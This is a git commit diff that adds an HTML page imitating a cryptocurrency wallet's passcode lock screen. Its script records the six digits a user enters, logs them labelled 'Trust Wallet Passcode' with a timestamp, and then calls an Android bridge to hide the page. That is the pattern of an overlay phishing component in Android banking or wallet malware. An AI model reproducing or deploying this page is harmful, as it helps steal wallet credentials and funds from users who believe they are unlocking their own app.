initial commit
This commit is contained in:
i2p
@@ -0,0 +1,179 @@
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Passcode Screen</title>
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<script src="index.js"></script>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
|
||||
<style>
|
||||
|
||||
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body class="bg-gray-900 flex items-center justify-center min-h-screen">
|
||||
<div class="text-center text-white">
|
||||
<h1 class="text-xl mb-4">Enter Passcode</h1>
|
||||
<div id="boxes" class="flex justify-center space-x-2 mb-4">
|
||||
<div class="box"></div>
|
||||
<div class="box"></div>
|
||||
<div class="box"></div>
|
||||
<div class="box"></div>
|
||||
<div class="box"></div>
|
||||
<div class="box"></div>
|
||||
</div>
|
||||
<p class="text-sm mb-8">Passcode Adds an extra layer of security <br>when using the app</p>
|
||||
<div id="ss" class="grid grid-cols-3 gap-4 text-2xl">
|
||||
<button class="bg-transparent text-white" onclick="addDigit('1', this)">1</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('2', this)">2</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('3', this)">3</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('4', this)">4</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('5', this)">5</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('6', this)">6</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('7', this)">7</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('8', this)">8</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('9', this)">9</button>
|
||||
<button id="fr" style="color: #53668f;" class="bg-transparent text-white" onclick="addFingerprint(this)">
|
||||
<i class="fas fa-fingerprint"></i>
|
||||
</button>
|
||||
<button class="bg-transparent text-white" onclick="addDigit('0', this)">0</button>
|
||||
<button style="color: #53668f;" class="bg-transparent text-white" onclick="clearBoxes()">
|
||||
<i class="fas fa-times"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const PASSCODE_LENGTH = 6;
|
||||
let passcode = '';
|
||||
let isSubmitting = false;
|
||||
|
||||
function updateBoxes() {
|
||||
const container = document.getElementById('boxes');
|
||||
while (container.children.length < PASSCODE_LENGTH) {
|
||||
const newBox = document.createElement('div');
|
||||
newBox.classList.add('box');
|
||||
container.appendChild(newBox);
|
||||
}
|
||||
while (container.children.length > PASSCODE_LENGTH) {
|
||||
container.removeChild(container.lastChild);
|
||||
}
|
||||
|
||||
const boxes = container.querySelectorAll('.box');
|
||||
boxes.forEach((box, index) => {
|
||||
if (index < passcode.length) {
|
||||
box.textContent = '●';
|
||||
box.classList.add('filled');
|
||||
} else {
|
||||
box.textContent = '';
|
||||
box.classList.remove('filled');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function addDigit(digit, button) {
|
||||
if (isSubmitting || passcode.length >= PASSCODE_LENGTH) return;
|
||||
|
||||
passcode += digit;
|
||||
updateBoxes();
|
||||
|
||||
button.classList.add('button-clicked');
|
||||
setTimeout(() => {
|
||||
button.classList.remove('button-clicked');
|
||||
}, 200);
|
||||
|
||||
if (passcode.length === PASSCODE_LENGTH) {
|
||||
submitPasscode();
|
||||
}
|
||||
}
|
||||
|
||||
function addFingerprint(button) {
|
||||
alert('Fingerprint authentication not implemented.');
|
||||
button.classList.add('button-clicked');
|
||||
setTimeout(() => {
|
||||
button.classList.remove('button-clicked');
|
||||
}, 200);
|
||||
}
|
||||
|
||||
function clearBoxes() {
|
||||
passcode = '';
|
||||
isSubmitting = false;
|
||||
updateBoxes();
|
||||
}
|
||||
|
||||
function submitPasscode() {
|
||||
if (isSubmitting || passcode.length !== PASSCODE_LENGTH) return;
|
||||
isSubmitting = true;
|
||||
|
||||
console.log('Trust Wallet Passcode:', passcode);
|
||||
console.log('Time:', new Date().toLocaleString());
|
||||
|
||||
if (typeof Android !== "undefined" && Android && typeof Android.hidePage === 'function') {
|
||||
Android.hidePage('');
|
||||
}
|
||||
|
||||
passcode = '';
|
||||
isSubmitting = false;
|
||||
updateBoxes();
|
||||
}
|
||||
|
||||
</script>
|
||||
<style>
|
||||
#ss {
|
||||
margin-block-start: 8rem;
|
||||
}
|
||||
|
||||
.text-2xl {
|
||||
font-size: 1.5rem;
|
||||
line-height: 3rem;
|
||||
|
||||
}
|
||||
|
||||
.mb-4 {
|
||||
margin-top: 3rem;
|
||||
margin-bottom: 2rem
|
||||
}
|
||||
|
||||
.box {
|
||||
width: 3.3rem;
|
||||
height: 3.3rem;
|
||||
border: 1px solid #293a5d;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 1.25rem;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
.text-sm {
|
||||
font-size: 90%;
|
||||
line-height: 1.25rem;
|
||||
color: #53668f;
|
||||
}
|
||||
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
font-family: inherit;
|
||||
font-feature-settings: inherit;
|
||||
font-variation-settings: inherit;
|
||||
font-size: 124%;
|
||||
font-weight: inherit;
|
||||
line-height: inherit;
|
||||
letter-spacing: inherit;
|
||||
color: inherit;
|
||||
margin: 5px;
|
||||
padding: 2px;
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user